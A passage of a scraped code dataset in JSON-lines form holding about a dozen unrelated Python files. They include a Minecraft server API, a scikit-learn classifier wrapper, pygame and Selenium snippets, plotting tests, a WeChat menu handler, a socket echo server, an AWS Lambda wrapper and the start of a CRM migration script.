'Dimension', timeout=timeout)\n\tif dim is None:\n\t\traise ValueError('Fail to query the dimension of player {}'.format(player))\n\tif type(dim) is str: # 1.16+\n\t\tdim = dim_convert.get(dim, dim)\n\treturn dim\n\n\ndef get_dimension_translation_text(dim_id: int) -> RText:\n\t\"\"\"\n\tReturn a RTextTranslation object indicating the dimension name which can be recognized by Minecraft\n\tIf the dimension id is not supported, it will just return a RText object wrapping the dimension id\n\t:param dim_id: a int representing the dimension. Should be 0, -1 or 1\n\t\"\"\"\n\tdimension_translation = {\n\t\t0: 'createWorld.customize.preset.overworld',\n\t\t-1: 'advancements.nether.root.title',\n\t\t1: 'advancements.end.root.title'\n\t}\n\tif dim_id in dimension_translation:\n\t\treturn RTextTranslation(dimension_translation[dim_id])\n\telse:\n\t\treturn RText(dim_id)\n\n\ndef get_server_player_list(*, timeout: Optional[float] = None) -> Optional[Tuple[int, int, List[str]]]:\n\t\"\"\"\n\tReturn the player list information by executing /list command\n\tIt's required to be executed in a separated thread. It can not be invoked on the task executor thread of MCDR\n\t:param timeout: The timeout limit for querying\n\t:return: A tuple with 3 element: the amount of current player, the player limit, and a list of names of online players\n\tReturn None if querying failed\n\t\"\"\"\n\tif timeout is None:\n\t\ttimeout = DEFAULT_TIME_OUT\n\treturn server_data_getter.get_player_list(timeout)\n\n# -----------------------\n# API Interfaces ends\n# -----------------------\n","repo_name":"MCDReforged/MinecraftDataAPI","sub_path":"minecraft_data_api/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4480,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"23"} +{"seq_id":"41416238487","text":"\nfrom collections import defaultdict\n\nimport numpy as np\nimport os\nimport logging\n\n## feature extraction\nfrom sklearn.feature_extraction import DictVectorizer\n\n## classifiers\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.svm import SVC\n\nfrom sklearn.cross_validation import KFold\nfrom sklearn.preprocessing import StandardScaler\n\n\n\nclass EmotionImage(object):\n \"\"\"\n EmotionImage\n A scikit-learn wrapper for training Emotion-Image\n \"\"\"\n __support_classifiers__ = ['SGD', 'SVC']\n\n def __init__(self, **kwargs):\n \n loglevel = logging.DEBUG if 'verbose' in kwargs and kwargs['verbose'] == True else logging.INFO\n logging.basicConfig(format='[%(levelname)s] %(message)s', level=loglevel) \n\n self.features = defaultdict()\n self.Xs = {}\n self.ys = {}\n self.kfold_results = []\n # self.sample_num = -1\n \n def _toNumber(self, string, NaN=-1):\n return NaN if string.lower() == 'nan' else float(string)\n\n def load(self, path, label=\"filename\", LINE=\"\\n\", ITEM=\",\"):\n \"\"\"\n one line one feature\n\n \"\"\"\n logging.debug('loading %s' % (path))\n\n doc = open(path).read()\n lines = doc.strip().split(LINE)\n\n _samples = defaultdict(list)\n for fi, line in enumerate(lines): # i-th feature (680 lines --> 680 feautres)\n samples = line.strip().split(ITEM)\n for si, sample in enumerate(samples): # i-th sample (995 articles --> 995 samples)\n feature_value = self._toNumber(sample)\n _samples[si].append(feature_value)\n\n X = []\n for si in _samples:\n X.append(_samples[si])\n\n ## assign label to this loaded data\n _label = label if not label == \"$filename\" else path.split('/')[-1].split('.')[0].split('_')[0]\n\n y = [_label]*len(X)\n\n self.Xs[_label] = X\n self.ys[_label] = y\n\n def loads(self, root, LINE=\"\\n\", ITEM=\",\", ext=None):\n for fn in os.listdir(root):\n if ext and not fn.endswith(ext):\n continue\n else:\n self.load( path=os.path.join(root, fn), LINE=LINE, ITEM=ITEM )\n\n def _assembly(self, Xs, ys):\n \"\"\"\n collect all loaded Xs, ys\n \"\"\"\n self.X = []\n self.y = []\n for label in self.Xs:\n self.X += self.Xs[label]\n self.y += self.ys[label]\n\n self.X = np.array(self.X)\n self.y = np.array(self.y)\n\n def run(self, **kwargs):\n\n ## transform Xs and ys to numpy array before setting up the KFlod\n self._assembly()\n\n ## config n-fold verification\n ## run _assembly() first\n n_folds = 10 if 'n_folds' not in kwargs else kwargs['n_folds']\n shuffle = True if 'shuffle' not in kwargs else kwargs['shuffle']\n kf = KFold( len(self.X), n_folds=n_folds, shuffle=shuffle )\n\n\n ## setup a Scaler\n with_mean = False if 'with_mean' not in kwargs else kwargs['with_mean']\n scaler = StandardScaler(with_mean=False)\n\n ## SGD\n loss = 'modified_huber' if 'loss' not in kwargs else kwargs['loss']\n penalty = 'elasticnet' if 'penalty' not in kwargs else kwargs['penalty']\n\n ## SVC\n C = 1.0 if 'C' not in kwargs else kwargs['C']\n gamma = 0.0 if 'gamma' not in kwargs else kwargs['gamma']\n probability = False if 'probability' not in kwargs else kwargs['probability']\n shrinking = True if 'shrinking' not in kwargs else kwargs['shrinking']\n\n ## set classifier\n classifier = self.__support_classifiers__[0] if 'classifier' not in kwargs else kwargs['classifier']\n if classifier not in self.__support_classifiers__:\n raise Exception('unkown classifier, currently supports %s' % ', '.join(self.__support_classifiers__) )\n\n for (i, (train_index, test_index)) in enumerate(kf):\n\n logging.info('cross validation round %d' % (i+1))\n\n X_train, X_test, y_train, y_test = self.X[train_index], self.X[test_index], self.y[train_index], self.y[test_index]\n\n #scale data for SGD performance\n logging.debug('scaling')\n scaler.fit(X_train)\n X_train = scaler.transform(X_train)\n X_test = scaler.transform(X_test) \n\n if classifier == 'SGD':\n logging.info('training with SGDClassifier')\n clf = SGDClassifier(loss=loss, penalty=penalty, shuffle=shuffle)\n\n elif classifier == 'SVC':\n logging.info('training with svm.SVC')\n clf = SVC(C=C, gamma=gamma, probability=probability, shrinking=shrinking)\n else:\n raise Exception('unkown classifier')\n\n clf.fit(X_train, y_train)\n\n ## scoring\n score = clf.score(X_test, y_test)\n logging.info('score %.3f' % (score))\n\n ## predict\n logging.info('predicting')\n result = clf.predict(X_test)\n\n self.kfold_results.append( (i+1, y_test, result) )\n\n def save(self, feature_name=\"$fusion\", root=\".\"):\n\n if not kfold_results:\n logging.warn('Nothing to be saved!')\n return False\n\n if not os.path.exists(root):\n os.makedirs(root)\n\n _feature_name = '+'.join(sorted(list(self.feature_names))) if feature_name == \"$fusion\" else feature_name\n\n for ith, y_test, result in self.kfold_results:\n\n out_fn = \"%s.fold-%d.result\" % (_feature_name, ith)\n\n with open( os.path.join(root, out_fn), 'w' ) as fw:\n\n fw.write( ','.join( map(lambda x:str(x), y_test) ) )\n fw.write('\\n')\n\n fw.write( ','.join( map(lambda x:str(x), result) ) )\n fw.write('\\n')\n\nif __name__ == '__main__':\n\n # from EmotionImage import EmotionImage\n\n Eimg = EmotionImage(verbose=True)\n\n # Eimg.loads('fusion_rgb', ext=\"csv\")\n Eimg.loads('emotion_imgs_threshold_1x1_rbga_out/out_f1', ext=\"csv\")\n\n # Eimg.run(classifier=\"SGD\", n_folds=10, shuffle=True, loss=\"modified_huber\", penalty=\"elasticnet\")\n Eimg.run(classifier=\"SVC\", n_folds=10, C=4.0)\n\n Eimg.save(feature_name=\"fusion_rgb\", root=\"results/fusion_rgb_SVC\")\n","repo_name":"AcademiaSinicaNLPLab/LJ40K","sub_path":"feelit/EmotionImage.py","file_name":"EmotionImage.py","file_ext":"py","file_size_in_byte":6259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"74253584379","text":"# -*- coding: cp936 -*-\n##»­sinÇúÏß\nimport random,sys,math,pygame\npygame.init()\nscreen = pygame.display.set_mode([640,320])\ncircle = 8\nA = []\nscreen.fill([255,255,255])\nfor i in range(640):\n y = 160-int(160*math.sin(float(i+1)/640*circle*2*math.pi))\n A.append([i,y])\nfor i in range(639):\n pygame.draw.lines(screen,[random.randint(0,255),random.randint(0,255),random.randint(0,255)],True,[A[i],A[i+1]],1)\n# time.sleep(0.01)\n pygame.display.flip()\n\nrunning = True\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\npygame.quit()\n","repo_name":"getupforgithub/Basic-Practice-for-Python","sub_path":"pygame_practice/sin_with_lines.py","file_name":"sin_with_lines.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"74758191100","text":"from phtml.classes.base import Base\nfrom .text_format import TextFormat\n\n\nclass HtmlList(Base):\n def __init__(self, ordered=False, internal=None, **kwargs):\n super().__init__(internal=internal, **kwargs)\n if ordered:\n self.start_string = 'ol'\n self.end_string = 'ol'\n else:\n self.start_string = 'ul'\n self.end_string = 'ul'\n\n\nclass HtmlListItem(Base):\n def __init__(\n self,\n content,\n indent=' ',\n list_item=None,\n list_description=None,\n term_description=None,\n term_in_description_list=None,\n **kwargs\n ):\n super().__init__(**kwargs)\n self.content = content\n self.indent = indent\n self.list_item = list_item\n self.list_description = list_description\n self.term_description = term_description\n self.term_in_description_list = term_in_description_list\n\n if not any([list_item, list_description, term_description, term_in_description_list]):\n self.list_item = True\n\n @property\n def return_document(self):\n if self.list_item:\n if isinstance(self.content, Base):\n details = ['
  • ']\n for line in self.content.return_document:\n details.append(f\"{self.indent}{line}\")\n details.append('
  • ')\n elif isinstance(self.content, TextFormat):\n details = ['
  • ']\n details.append(f\"{self.indent}{self.content.return_content}\")\n details.append('
  • ')\n else:\n details = [f\"
  • {self.content}
  • \"]\n elif self.list_description:\n if isinstance(self.content, Base):\n details = ['
    ']\n for line in self.content.return_document:\n details.append(f\"{self.indent}{line}\")\n details.append('
    ')\n elif isinstance(self.content, TextFormat):\n details = ['
    ']\n for line in self.content.return_content:\n details.append(f\"{self.indent}{line}\")\n details.append('
    ')\n else:\n details = [f\"
    {self.content}
    \"]\n elif self.term_description:\n if isinstance(self.content, Base):\n details = ['
    ']\n for line in self.content.return_document:\n details.append(f\"{self.indent}{line}\")\n details.append('
    ')\n elif isinstance(self.content, TextFormat):\n details = ['
    ']\n for line in self.content.return_content:\n details.append(f\"{self.indent}{line}\")\n details.append('
    ')\n else:\n details = [f\"
    {self.content}
    \"]\n elif self.term_in_description_list:\n if isinstance(self.content, Base):\n details = ['
    ']\n for line in self.content.return_document:\n details.append(f\"{self.indent}{line}\")\n details.append('
    ')\n elif isinstance(self.content, TextFormat):\n details = ['
    ']\n for line in self.content.return_content:\n details.append(f\"{self.indent}{line}\")\n details.append('
    ')\n else:\n details = [f\"
    {self.content}
    \"]\n return details\n","repo_name":"aecobb53/phtml","sub_path":"phtml/classes/html_list.py","file_name":"html_list.py","file_ext":"py","file_size_in_byte":3470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"12160011002","text":"import pytest\nfrom selenium import webdriver\n\ndef pytest_addoption(parser):\n parser.addoption(\"--browser_name\", action=\"store\", default=\"chrome\")\n\n@pytest.fixture(scope=\"class\")\ndef setup(request):\n browser_name = request.config.getoption(\"browser_name\")\n if browser_name == \"opera\":\n _driver = webdriver.Opera(executable_path=\"/home/taghreed/Downloads/operadriver_linux64/operadriver\")\n\n elif browser_name == \"firefox\":\n _driver = webdriver.Firefox(executable_path=\"/home/taghreed/Downloads/geckodriver-v0.28.0-linux64/geckodriver\")\n\n elif browser_name == \"chrome\":\n _driver = webdriver.Chrome(executable_path=\"/home/taghreed/Downloads/chromedriver_linux64/chromedriver\")\n\n _driver.maximize_window()\n _driver.get(\"https://rahulshettyacademy.com/angularpractice/\")\n request.cls._driver = _driver\n\n yield\n _driver.save_screenshot(\"/home/taghreed/PycharmProjects/PageObjectModelTesting/Screenshots/final.png\")\n _driver.close()\n","repo_name":"taghreed86/automationPractices_withPython","sub_path":"PyTest/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"32309996693","text":"from gneiss.plot import heatmap\nfrom gneiss.plot._heatmap import _sort_table\n\nimport pandas as pd\nimport pandas.util.testing as pdt\nfrom skbio import TreeNode, DistanceMatrix\nfrom scipy.cluster.hierarchy import ward\nfrom gneiss.plot._dendrogram import SquareDendrogram\nfrom gneiss.util import block_diagonal\nfrom gneiss.cluster import rank_linkage\nimport numpy as np\nimport numpy.testing.utils as npt\nimport unittest\n\n\nclass HeatmapTest(unittest.TestCase):\n def setUp(self):\n np.random.seed(0)\n self.table = pd.DataFrame(np.random.random((5, 5)),\n index=['0', '1', '2', '3', '4'],\n columns=['0', '1', '2', '3', '4'])\n\n num_otus = 5 # otus\n x = np.random.rand(num_otus)\n dm = DistanceMatrix.from_iterable(x, lambda x, y: np.abs(x - y))\n lm = ward(dm.condensed_form())\n t = TreeNode.from_linkage_matrix(lm, np.arange(len(x)).astype(np.str))\n self.t = SquareDendrogram.from_tree(t)\n self.md = pd.Series(['a', 'a', 'a', 'b', 'b'],\n index=['0', '1', '2', '3', '4'])\n for i, n in enumerate(t.postorder()):\n if not n.is_tip():\n n.name = \"y%d\" % i\n n.length = np.random.rand() * 3\n\n self.highlights = pd.DataFrame({'y8': ['#FF0000', '#00FF00'],\n 'y6': ['#0000FF', '#F0000F']}).T\n\n def test_sort_table(self):\n table = pd.DataFrame(\n [[1, 1, 0, 0, 0],\n [0, 1, 1, 0, 0],\n [0, 0, 1, 1, 0],\n [0, 0, 0, 1, 1]],\n columns=['s1', 's2', 's3', 's4', 's5'],\n index=['o1', 'o2', 'o3', 'o4'])\n mdvar = pd.Series(['a', 'b', 'a', 'b', 'a'],\n index=['s1', 's2', 's3', 's4', 's5'])\n res_table, res_mdvar = _sort_table(table, mdvar)\n pdt.assert_index_equal(pd.Index(['s1', 's3', 's5', 's2', 's4']),\n res_mdvar.index)\n pdt.assert_index_equal(pd.Index(['s1', 's3', 's5', 's2', 's4']),\n res_table.columns)\n\n @unittest.skip('Visualizations are deprecated')\n def test_basic(self):\n fig = heatmap(self.table, self.t, self.md,\n figsize=(5, self.table.shape[0]))\n\n # Test to see if the lineages of the tree are ok\n lines = list(fig.get_axes()[0].get_lines())\n\n exp_coords = np.array([[14.25, 0.5],\n [14.25, 1.],\n [14.25, 1.],\n [20., 1.],\n [9.5, 1.25],\n [9.5, 2.],\n [9.5, 2.],\n [20., 2.],\n [4.75, 2.125],\n [4.75, 3.],\n [4.75, 3.],\n [20., 3.],\n [0., 3.0625],\n [0., 4.],\n [0., 4.],\n [20., 4.],\n [14.25, 0.5],\n [14.25, 0.],\n [14.25, 0.],\n [20., 0.],\n [9.5, 1.25],\n [9.5, 0.5],\n [9.5, 0.5],\n [14.25, 0.5],\n [4.75, 2.125],\n [4.75, 1.25],\n [4.75, 1.25],\n [9.5, 1.25],\n [0., 3.0625],\n [0., 2.125],\n [0., 2.125],\n [4.75, 2.125]])\n\n res = np.vstack([i._xy for i in lines])\n\n npt.assert_allclose(exp_coords, res)\n\n # Make sure that the metadata labels are set properly\n res = str(fig.get_axes()[1].get_xticklabels(minor=True)[0])\n self.assertEqual(res, \"Text(0, 0, 'a')\")\n\n res = str(fig.get_axes()[1].get_xticklabels(minor=True)[1])\n self.assertEqual(res, \"Text(0, 0, 'b')\")\n\n res = str(fig.get_axes()[1].get_xlabel())\n self.assertEqual(res, \"\")\n\n def test_basic_line_width(self):\n fig = heatmap(self.table, self.t, self.md,\n figsize=(5, self.table.shape[0]), linewidth=1)\n\n # Test to see if the lineages of the tree are ok\n lines = list(fig.get_axes()[1].get_lines())\n widths = [L.get_lw() for L in lines]\n np.allclose(widths, [1.0] * len(widths))\n\n @unittest.skip('Visualizations are deprecated')\n def test_highlights(self):\n\n table = pd.DataFrame(block_diagonal(ncols=5, nrows=5, nblocks=2),\n index=['0', '1', '2', '3', '4'],\n columns=['0', '1', '2', '3', '4'])\n t = rank_linkage(pd.Series([1, 2, 3, 4, 5],\n index=['0', '1', '2', '3', '4']))\n t = SquareDendrogram.from_tree(t)\n md = pd.Series(['a', 'a', 'a', 'b', 'b'],\n index=['0', '1', '2', '3', '4'])\n for i, n in enumerate(t.postorder()):\n if not n.is_tip():\n n.name = \"y%d\" % i\n n.length = np.random.rand() * 3\n\n highlights = pd.DataFrame({'y8': ['#FF0000', '#00FF00'],\n 'y7': ['#0000FF', '#F0000F']}).T\n\n fig = heatmap(table, t, md, highlights)\n\n # Test to see if the lineages of the tree are ok\n lines = list(fig.get_axes()[0].get_lines())\n\n pts = self.t.coords(width=20, height=self.table.shape[0])\n pts['y'] = pts['y'] - 0.5 # account for offset\n pts['x'] = pts['x'].astype(np.float)\n pts['y'] = pts['y'].astype(np.float)\n\n exp_coords = np.array([[6.33333333, 3.5],\n [6.33333333, 4.],\n [6.33333333, 4.],\n [20., 4.],\n [12.66666667, 0.5],\n [12.66666667, 1.],\n [12.66666667, 1.],\n [20., 1.],\n [6.33333333, 1.25],\n [6.33333333, 2.],\n [6.33333333, 2.],\n [20., 2.],\n [0., 2.375],\n [0., 3.5],\n [0., 3.5],\n [6.33333333, 3.5],\n [6.33333333, 3.5],\n [6.33333333, 3.],\n [6.33333333, 3.],\n [20., 3.],\n [12.66666667, 0.5],\n [12.66666667, 0.],\n [12.66666667, 0.],\n [20., 0.],\n [6.33333333, 1.25],\n [6.33333333, 0.5],\n [6.33333333, 0.5],\n [12.66666667, 0.5],\n [0., 2.375],\n [0., 1.25],\n [0., 1.25],\n [6.33333333, 1.25]])\n\n res = np.vstack([i._xy for i in lines])\n\n npt.assert_allclose(exp_coords, res)\n\n # Make sure that the metadata labels are set properly\n res = str(fig.get_axes()[2].get_xticklabels(minor=True)[0])\n self.assertEqual(res, \"Text(0, 0, 'a')\")\n\n res = str(fig.get_axes()[2].get_xticklabels(minor=True)[1])\n self.assertEqual(res, \"Text(0, 0, 'b')\")\n\n print([str(i) for i in fig.get_axes()[1].get_xticklabels()])\n # Make sure that the highlight labels are set properly\n res = str(fig.get_axes()[1].get_xticklabels()[0])\n self.assertEqual(res, \"Text(0, 0, 'y8')\")\n\n res = str(fig.get_axes()[1].get_xticklabels()[1])\n self.assertEqual(res, \"Text(0, 0, 'y7')\")\n\n # Test to see if the highlights are ok\n res = fig.get_axes()[2].get_position()._points\n exp = np.array([[0.24, 0.1],\n [0.808, 0.9]])\n npt.assert_allclose(res, exp)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"biocore/gneiss","sub_path":"gneiss/plot/tests/test_heatmap.py","file_name":"test_heatmap.py","file_ext":"py","file_size_in_byte":8398,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"23"} +{"seq_id":"42607561306","text":"from aiogram import types\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.types import CallbackQuery\n\nfrom keyboards.default import main_menu\nfrom keyboards.inline.callback_datas import set_volute, set_language\nfrom keyboards.inline.settings import keybord_course, keybord_settings_back, keybord_currency, keybord_language\nfrom loader import dp, _\nfrom aiogram.utils.markdown import hlink\nfrom utils.db_api import quick_commands as commands\n\nfrom utils.misc.binance import StockExchange\n\n\n@dp.message_handler(text=\"🛠 Settings\", state='*')\nasync def show_menu_en(message: types.Message, state: FSMContext):\n await show_menu(message, state)\n\n\n@dp.message_handler(text=\"🛠 Настройки\", state='*')\nasync def show_menu(message: types.Message, state: FSMContext):\n await state.finish()\n text = _(\n '🛠 Настройки\\n\\n'\n 'Ваш id: {user_id}\\n\\n'\n 'Что Вы хотите изменить?'\n ).format(\n user_id=message.from_user.id\n )\n await message.answer(text, reply_markup=keybord_course)\n\n\n@dp.callback_query_handler(text=\"backsettings\")\nasync def show_back_menu_settings(call: types.CallbackQuery):\n await call.answer(cache_time=60)\n await call.message.delete()\n text = _(\n '🛠 Настройки\\n\\n'\n 'Ваш id: {user_id}\\n\\n'\n 'Что Вы хотите изменить?'\n ).format(\n user_id=call.message.from_user.id\n )\n await call.message.answer(text, reply_markup=keybord_course)\n\n\n@dp.callback_query_handler(text=\"course\")\nasync def course(call: types.CallbackQuery):\n await call.answer(cache_time=60)\n await call.message.delete()\n crypto = StockExchange()\n text = _(\n '📊 Курс\\n\\n'\n 'Текущий курс:\\n\\n'\n '1 BTC = {btc}.0 RUB\\n'\n '1 ETH = {eth}.0 RUB\\n'\n '1 SOL = {sol}.0 RUB\\n\\n'\n 'Текущий источник: {binance}'\n ).format(\n btc=crypto.get_course(\"BTC\"),\n eth=crypto.get_course(\"ETH\"),\n sol=crypto.get_course(\"SOL\"),\n binance=hlink(\"binance\", \"https://www.binance.com\")\n )\n await call.message.answer(text, reply_markup=keybord_settings_back, disable_web_page_preview=True)\n\n\n@dp.callback_query_handler(text=\"volute\")\nasync def volute(call: types.CallbackQuery):\n await call.answer(cache_time=60)\n await call.message.delete()\n\n currency = await commands.get_currency(id=call.message.chat.id)\n text = _(\n '💵 Валюта\\n\\n'\n 'Выберите валюту. Этот фильтр влияет на просмотр и создание объявлений.\\n\\n'\n 'Сейчас используется «{currency}».'\n\n ).format(\n currency=currency\n )\n await call.message.answer(text, reply_markup=keybord_currency)\n\n\n@dp.callback_query_handler(set_volute.filter(text_name=\"set_volute\"))\nasync def set_volute(call: CallbackQuery, callback_data: dict):\n currency = callback_data.get(\"volute\")\n await commands.update_currency(id=call.message.chat.id, volute=currency)\n await volute(call)\n\n\n@dp.callback_query_handler(text=\"language\")\nasync def language(call: types.CallbackQuery):\n await call.answer(cache_time=60)\n await call.message.delete()\n user = await commands.select_user(call.message.chat.id)\n if user.language == \"ru\":\n language = '🇷🇺'\n else:\n language = '🇬🇧'\n text = _(\n '🌎 Язык\\n\\n'\n 'Выберите язык интерфейса. Смена языка не повлияет на отправленные ранее сообщения.\\n\\n'\n 'Сейчас используется «{language}».'\n\n ).format(\n language=language\n )\n await call.message.answer(text, reply_markup=keybord_language)\n\n\n@dp.callback_query_handler(set_language.filter(text_name=\"set_language\"))\nasync def set_language(call: CallbackQuery, callback_data: dict):\n currency = callback_data.get(\"language\")\n await commands.update_language(id=call.message.chat.id, volute=currency)\n await language(call)\n","repo_name":"emuhich/CryptoBot","sub_path":"handlers/users/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"1498435321","text":"# -*- coding: utf-8 -*-\n\nfrom base import *\nimport logging\n\n\nclass WeixinMenuHandler(BaseHandler):\n def get_default(self):\n #get old menu message\n access_token = self.get_access_token()\n menu_history = \"\"\n if access_token:\n html = requests.get(Const.URL_GET_MENU % access_token)\n menu_history = json.loads(html.content)\n self.render(\"menu_history.html\", menu_history=menu_history)\n log_info = {\"handler\":__name__ + '.' + self.__class__.__name__, \"event\":\"get_menu\"}\n logging.info(log_info)\n\n def post_menusave(self):\n #edit menu\n name0 = self.get_argument(\"name0\",'')\n if not name0:\n return\n body = {}\n newmenu = []\n for i in range(3):\n name = self.get_argument(\"name\"+str(i),'')\n url = self.get_argument(\"url\"+str(i),'')\n if url and name :\n newmenu.append({'type': 'view', 'name': name, 'url': url})\n elif name:\n subbutton = []\n for j in range(5):\n subname = self.get_argument(\"name\"+str(i)+str(j),'')\n suburl = self.get_argument(\"url\"+str(i)+str(j),'')\n if not suburl or not subname:\n break\n subbutton.append({'type': 'view', 'name': subname, 'url': suburl})\n newmenu.append({'name': name, 'sub_button': subbutton})\n else:\n break\n body['button'] = newmenu\n #print body\n '''\n access_token = self.get_access_token()\n if access_token:\n html = requests.get(Const.URL_CREATE_MENU % access_token,json.dump(body))\n '''\n for wxapp in self.wxapps:\n access_token = self.get_access_token(wxapp)\n if access_token:\n data = json.dumps(body,ensure_ascii=False).encode(\"utf-8\")\n html = requests.post(Const.URL_CREATE_MENU % access_token, data)\n #print data\n\n result = json.loads(html.content)\n #print result\n log_info = {\"handler\":__name__ + '.' + self.__class__.__name__, \"event\":\"edit_menu\",'result':result}\n logging.info(log_info)\n self.get_default()\n\n\n\n","repo_name":"teq10/wxService","sub_path":"handler/weixinmenu.py","file_name":"weixinmenu.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"36843125509","text":"import socket\nimport time\n\n\nclass State(object):\n Idle = 0\n Active = 1\n \n\nclass Server(object):\n\n def __init__(self, host, port):\n self.host = host\n self.port = port\n self.state = State.Idle\n self.socket = None\n self.connection = None\n self.address = None\n\n def start(self):\n while True:\n if self.state == State.Idle:\n print(self.state)\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.socket.bind((self.host, self.port))\n self.socket.listen(1)\n self.connection, self.address = self.socket.accept()\n print('Connection {0} ... OPEN'.format(self.address))\n self.state = State.Active\n elif self.state == State.Active:\n print(self.state)\n data = self.connection.recv(2048)\n if data == 'disconnect':\n self.connection.close()\n self.state = State.Idle\n else:\n print(data)\n self.connection.sendall(data)\n time.sleep(0.5)\n\n\n\nif __name__ == '__main__':\n s = Server('', 50011)\n s.start()\n","repo_name":"fgroes/ServerClient","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"23197352514","text":"\"\"\"\nsdk for calling the lambda functions \nseamless experience for using remote lambda functions in your space \n\"\"\"\nimport boto3 \nimport json \nimport base64\n\nclass CostackFunction:\n def __init__(self, function_name, boto3_session=None):\n self.function_name = function_name \n # call lambda \n # use the default boto3 profile: assume everything is in the same account \n if boto3_session:\n self.client = boto3_session.client('lambda')\n else:\n # user default profile \n self.client = boto3.client('lambda')\n\n def call(self, args={}, context=None):\n kwargs = {\n \"FunctionName\":self.function_name,\n # InvocationType='Event'|'RequestResponse'|'DryRun',\n # LogType='None'|'Tail',\n # ClientContext='string',\n \"Payload\":json.dumps(args).encode(\"utf-8\")\n }\n if context: \n # context is a string \n encoded_context = base64.b64encode(str(context).encode())\n kwargs['ClientContext'] = encoded_context.decode()\n response = self.client.invoke(**kwargs)\n response_payload = json.loads(response['Payload'].read().decode(\"utf-8\"))\n return response_payload \n\n\n\nif __name__ == \"__main__\":\n # test the function \n func = CostackFunction(\"temp\")\n response = func.call(args={\"122\":122}, context={\"sss\"})","repo_name":"CrossEntropy2045/costack_sdk","sub_path":"costack_sdk/costack_lambda/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"15332327915","text":"from .MenuOption import MenuOption\nfrom ...Layer_application.MLLRTrain import MLLRTrain\nfrom ...Layer_domain.Model.LR import LR\nfrom ...Layer_domain.DataProcessor import DataProcessor\nfrom ...Utilities import General_Info_3D\n\nimport os\n\nclass MLPOptionLRTrain(MenuOption):\n \"\"\"\n A MenuOption class that allows the user to download random images of girls.\n\n Attributes:\n -----------\n MLP : DownloadGirlsRandom\n The MLP object used to download the images.\n \n Methods\n -------\n execute()\n Prompts the user to input a path to a number of folders and the Nnumber of images to download. \n \"\"\"\n\n def __init__(\n self, \n RF_Train : MLLRTrain\n ):\n\n \"\"\"\n Constructs a new DownloadRandomly object.\n \"\"\"\n \n self.RF_Train = RF_Train;\n\n def execute(self):\n \"\"\"\n Executes the DownloadRandomly option by prompting the user for the number of folders and images to download,\n and then downloading the random images using the MLP object.\n \"\"\"\n\n os.system (\"cls\");\n\n print(\"Enter the following parameters to train the model with RF:\")\n print('\\n');\n while True:\n\n user_exit = input(\"Do you want to go back? (Y/N)\").strip().lower()\n print('\\n');\n\n if user_exit == \"n\":\n \n self.CSV_file = input('CSV_file: ');\n self.Model_name = input(\"Model's name: \");\n\n print('\\n');\n user_input = input(\"Do you want to change the inputs? (Y/N)\").strip().lower()\n print('\\n');\n\n if user_input == \"n\":\n \n RF_Train = self.RF_Train(\n DataProcessor, \n LR\n );\n\n RF_Train.train(\n self.CSV_file,\n self.Model_name\n );\n \n elif user_input != \"y\":\n print(\"Invalid input, please enter Y or N\")\n print('\\n');\n \n elif user_exit == \"y\":\n break;\n \n elif user_exit != \"y\":\n print(\"Invalid input, please enter Y or N\")\n print('\\n');\n","repo_name":"DreamnovaCesar/Euler-using-MLP-2D-and-3D","sub_path":"app/src/Layer_presentation/menu/MLPOptionLRTrain.py","file_name":"MLPOptionLRTrain.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"24343615314","text":"from datetime import time\nfrom tqdm import tqdm\nfrom os import name\nfrom typing import Text\nfrom numpy import record\nfrom helper import email_metadata, meeting_metadata, call_metadata, tasks_metadata\nfrom helper import ISO_to_UNIX, get_HS_id, create_engagement, initialize_global_spreadsheets, save_json, format_cc_bcc\nimport logging\nimport json\n\nlogging.basicConfig(filename='/Users/jose/Documents/program_projects/crm-migration/errors.log', filemode='w', format='%(name)s - %(levelname)s - %(message)s')\n\n\ninitialize_global_spreadsheets()\n\n\ndef main():\n # f = open('/Users/jose/Documents/program_projects/crm-migration/Close/Angle Health leads 2021-08-09 21-39.json')\n f = open('/Users/jose/Documents/program_projects/crm-migration/data/Close_Final/Angle Health leads 2021-08-12 03-38.json')\n\n data = json.load(f)\n\n print('Data Loaded\\n\\nRunning...')\n\n samson(data)\n\n\n\n#### create engagement payloads for each type\n# collecting metadata for Hubspot APi call\ndef samson(data):\n # loop through companies\n\n engagements = []\n\n for row in tqdm(data):\n # pull activity data\n activities = row['activities']\n\n # loop through activities\n for act in activities:\n # general activity information \n time = ISO_to_UNIX(act['activity_at'])\n ownerID = get_HS_id(act[\"user_name\"], 'owner')\n\n # if email\n if act['_type'] == 'Email':\n type = 'EMAIL'\n\n # respective HS ids\n cont = get_HS_id(act['contact_id'], 'contact')\n comp = get_HS_id(act['lead_id'], 'company')\n d = get_HS_id(act['lead_id'], 'deal')\n\n\n # envelope contents\n env = act['envelope']\n\n # 'from' information\n try:\n first = 